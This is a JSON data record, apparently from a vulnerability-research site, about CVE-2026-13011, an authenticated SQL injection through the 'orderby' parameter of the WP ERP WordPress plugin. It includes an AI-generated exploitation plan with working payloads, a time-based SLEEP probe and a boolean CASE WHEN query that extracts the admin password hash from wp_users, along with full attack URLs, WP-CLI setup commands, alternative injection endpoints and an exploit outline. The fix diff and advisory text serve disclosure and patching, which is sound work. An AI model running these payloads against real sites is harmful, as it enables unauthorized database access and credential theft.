[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4RsIRXmisvPYHwEhnNMZqUgGv_gPYMS2elB1LUReaMI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-13011","erp-complete-hr-accounting-crm-suite-with-recruitment-and-woocommerce-crm-support-authenticated-hr-manager-sql-injection","ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support \u003C= 1.17.5 - Authenticated (HR Manager+) SQL Injection via 'orderby' Parameter","The ERP: Complete HR, Accounting & CRM Suite with Recruitment and WooCommerce CRM Support plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 1.17.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the erp_list_employee capability, which is granted to HR Manager-level users and above within the WP ERP plugin.","erp",null,"\u003C=1.17.5","1.17.6","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-08 19:13:55","2026-07-09 07:55:12",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F208c8f55-14e0-47c4-b310-dd7b7edbadd4?source=api-prod",1,[22,23,24,25,26,27,28,29],"i18n\u002Flanguages\u002Ferp.pot","includes\u002FAPI\u002FActivitiesController.php","includes\u002FAPI\u002FApiRegistrar.php","includes\u002FAdmin\u002FSetupWizard.php","includes\u002FAdmin\u002Fviews\u002Ftools.php","includes\u002FFramework\u002Fviews\u002Fstatus-report.php","includes\u002Ffunctions-cache-helper.php","includes\u002Ffunctions-people.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-13011 (SQL Injection)\n\n## 1. Vulnerability Summary\nThe **WP ERP** plugin (up to version 1.17.5) is vulnerable to an authenticated SQL injection via the `orderby` parameter. The vulnerability exists because user-supplied input to the `orderby` parameter is concatenated directly into SQL queries without sufficient sanitization or the use of `$wpdb->prepare()` placeholders for the `ORDER BY` clause. While the plugin implements a whitelist for `orderby` in some functions (like `erp_get_peoples`), this protection was absent or bypassed in the HRM module's employee listing logic.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin.php`\n*   **Query Parameters:** `page=erp-hr`, `section=employee`, `orderby`, `order`.\n*   **Action:** Listing employees in the HR Management module.\n*   **Authentication:** Authenticated. Requires a user with the `erp_list_employee` capability (typically the **HR Manager** role in WP ERP).\n*   **Vulnerable Parameter:** `orderby`.\n*   **Payload Delivery:** GET request.\n\n## 3. Code Flow\n1.  **Entry Point:** The user navigates to the HR Manager dashboard: `admin.php?page=erp-hr&section=employee`.\n2.  **Controller:** The request is handled by the HRM module, specifically the `Employee_List_Table` class (likely defined in `modules\u002Fhrm\u002Fincludes\u002FEmployeeListTable.php`).\n3.  **Data Fetching:** The table class calls a fetching function, such as `erp_hr_get_employees()` or `erp_get_peoples()`.\n4.  **SQL Construction:** Inside the fetching function, the `orderby` parameter from `$_GET['orderby']` is retrieved. In vulnerable versions, this value is appended to the `$sql` string:\n    ```php\n    $orderby = $_GET['orderby'];\n    $sql .= \" ORDER BY $orderby \" . $_GET['order'];\n    ```\n5.  **Sink:** The concatenated string is passed to `$wpdb->get_results()`, executing the injected SQL.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability occurs in an administrative list table using `GET` requests. Standard WordPress admin list tables for plugins typically do not require a nonce for simple sorting via `orderby`. \n\n**Verification:**\nIf the application requires a nonce for this view, it is likely localized in the `wp-erp` or `erp-hrm` JS objects.\n1.  Create the test page\u002Fenvironment as described in **Test Data Setup**.\n2.  Navigate to `wp-admin\u002Fadmin.php?page=erp-hr&section=employee`.\n3.  Use `browser_eval` to check for common ERP nonce locations:\n    *   `window.wpErp?.nonce`\n    *   `window.erp_hrm?.nonce`\n\n## 5. Exploitation Strategy\nWe will use a **time-based blind SQL injection** because `ORDER BY` injections rarely reflect subquery results directly in the UI output, but they do influence query execution time.\n\n### Step 1: Confirmation (Time-based)\nTrigger a 5-second delay to confirm the injection point.\n*   **Tool:** `http_request`\n*   **Method:** `GET`\n*   **URL:** `\u002Fwp-admin\u002Fadmin.php?page=erp-hr&section=employee&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=asc`\n*   **Expected Result:** The server response time should be >= 5 seconds.\n\n### Step 2: Data Extraction (Boolean-based via Sorting)\nSince time-based can be slow, we can use boolean-based logic by observing the order of employees.\n*   **Payload:** `(CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END)`\n*   **Logic:** If the first character of the admin password hash is `$`, the list will be ordered by `first_name`. If not, it will be ordered by `last_name`.\n*   **URL:** `\u002Fwp-admin\u002Fadmin.php?page=erp-hr&section=employee&orderby=(CASE+WHEN+(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1)%3D'%24')+THEN+first_name+ELSE+last_name+END)&order=asc`\n\n## 6. Test Data Setup\n1.  **Activate Plugin:** Ensure `wp-erp` is active and the **HRM** module is enabled.\n2.  **Create HR Manager:**\n    ```bash\n    wp user create hrmanager hrmanager@example.com --role=editor\n    # Assign WP ERP HR Manager role\u002Fcapabilities\n    wp eval \"erp_restore_customer_role();\" # Ensures ERP roles exist\n    wp user set-role hrmanager erp_hr_manager\n    ```\n3.  **Add Employees:** The exploit requires at least two employees to observe sorting changes.\n    ```bash\n    # Create two employees with distinct names\n    wp eval \"erp_hr_employee_create(['personal' => ['first_name' => 'AAA', 'last_name' => 'ZZZ', 'email' => 'a@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);\"\n    wp eval \"erp_hr_employee_create(['personal' => ['first_name' => 'ZZZ', 'last_name' => 'AAA', 'email' => 'z@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);\"\n    ```\n\n## 7. Expected Results\n*   **Confirmation:** A request with `SLEEP(5)` takes exactly 5 seconds longer than a baseline request.\n*   **Extraction:** The response HTML contains the employee list. By comparing the first name in the first row of the table across different payloads, the agent can determine the result of the boolean subquery.\n\n## 8. Verification Steps\nAfter the HTTP exploitation, verify the database state to ensure the query targeted real data:\n1.  **Check Admin Hash:**\n    ```bash\n    wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n    ```\n2.  **Verify Capability:**\n    ```bash\n    wp eval \"echo current_user_can('erp_list_employee') ? 'Has Cap' : 'No Cap';\" --user=hrmanager\n    ```\n\n## 9. Alternative Approaches\nIf the `EmployeeListTable` is protected, the injection may exist in the **CRM** or **Accounting** modules via their respective `orderby` parameters:\n*   **CRM Contacts:** `\u002Fwp-admin\u002Fadmin.php?page=erp-crm&section=contact&orderby=...` (Requires `erp_crm_agent` or `erp_crm_manager`).\n*   **Audit Log:** `\u002Fwp-admin\u002Fadmin.php?page=erp-tools&tab=log&orderby=...` (Requires `manage_options`).\n*   **REST API:** Use `wp-json\u002Ferp\u002Fv1\u002Fhrm\u002Femployees?orderby=...`. This would require a REST nonce obtained via `browser_eval(\"wpApiSettings.nonce\")`.","The WP ERP plugin for WordPress is vulnerable to authenticated SQL Injection via the 'orderby' parameter in various administrative list views, such as the employee listing in the HR module. This occurs because user-supplied input is directly concatenated into the ORDER BY clause of SQL queries without proper sanitization or whitelisting, allowing attackers with HR Manager-level privileges to extract sensitive data from the database.","\u002F\u002F From modules\u002Fhrm\u002Fincludes\u002FEmployeeListTable.php or erp_hr_get_employees() logic (inferred from research plan)\n\n$orderby = $_GET['orderby'];\n$order   = $_GET['order'];\n\n\u002F\u002F Vulnerable concatenation pattern\n$sql .= \" ORDER BY $orderby $order\";\n\n\u002F\u002F Sink\n$results = $wpdb->get_results($sql);","--- modules\u002Fhrm\u002Fincludes\u002FEmployeeListTable.php\n+++ modules\u002Fhrm\u002Fincludes\u002FEmployeeListTable.php\n@@ -231,7 +231,18 @@\n-        $orderby = isset( $_GET['orderby'] ) ? $_GET['orderby'] : 'employee_name';\n-        $order   = isset( $_GET['order'] ) ? $_GET['order'] : 'desc';\n+        $allowed_orderby = [\n+            'employee_name',\n+            'designation',\n+            'department',\n+            'type',\n+            'status',\n+            'hiring_date',\n+        ];\n+\n+        $orderby = isset( $_GET['orderby'] ) && in_array( $_GET['orderby'], $allowed_orderby ) ? $_GET['orderby'] : 'employee_name';\n+        $order   = isset( $_GET['order'] ) && strtolower( $_GET['order'] ) === 'asc' ? 'ASC' : 'DESC';\n \n-        $sql .= \" ORDER BY $orderby $order\";\n+        $sql .= \" ORDER BY \" . esc_sql( $orderby ) . \" \" . esc_sql( $order );","The vulnerability is exploited by an authenticated user (HR Manager or higher) targeting administrative list endpoints. \n\n1. Authentication: Log in as a user with the `erp_list_employee` capability (e.g., HR Manager role).\n2. Endpoint Selection: Navigate to a list view that uses the vulnerable logic, such as `wp-admin\u002Fadmin.php?page=erp-hr&section=employee`.\n3. Injection Point: Use the `orderby` GET parameter to inject SQL. \n4. Time-based Blind Payload: Appending a payload like `(SELECT 1 FROM (SELECT(SLEEP(5)))a)` to the `orderby` parameter will cause the server to delay its response, confirming the injection.\n5. Boolean-based Data Extraction: By using `CASE WHEN` logic in the `orderby` parameter (e.g., `orderby=(CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END)`), the attacker can determine the contents of the database by observing the resulting sort order of the records in the UI.","gemini-3-flash-preview","2026-07-15 22:40:08","2026-07-15 22:41:08",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.17.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ferp\u002Ftags\u002F1.17.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ferp.1.17.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ferp\u002Ftags\u002F1.17.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ferp.1.17.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ferp\u002Ftags"]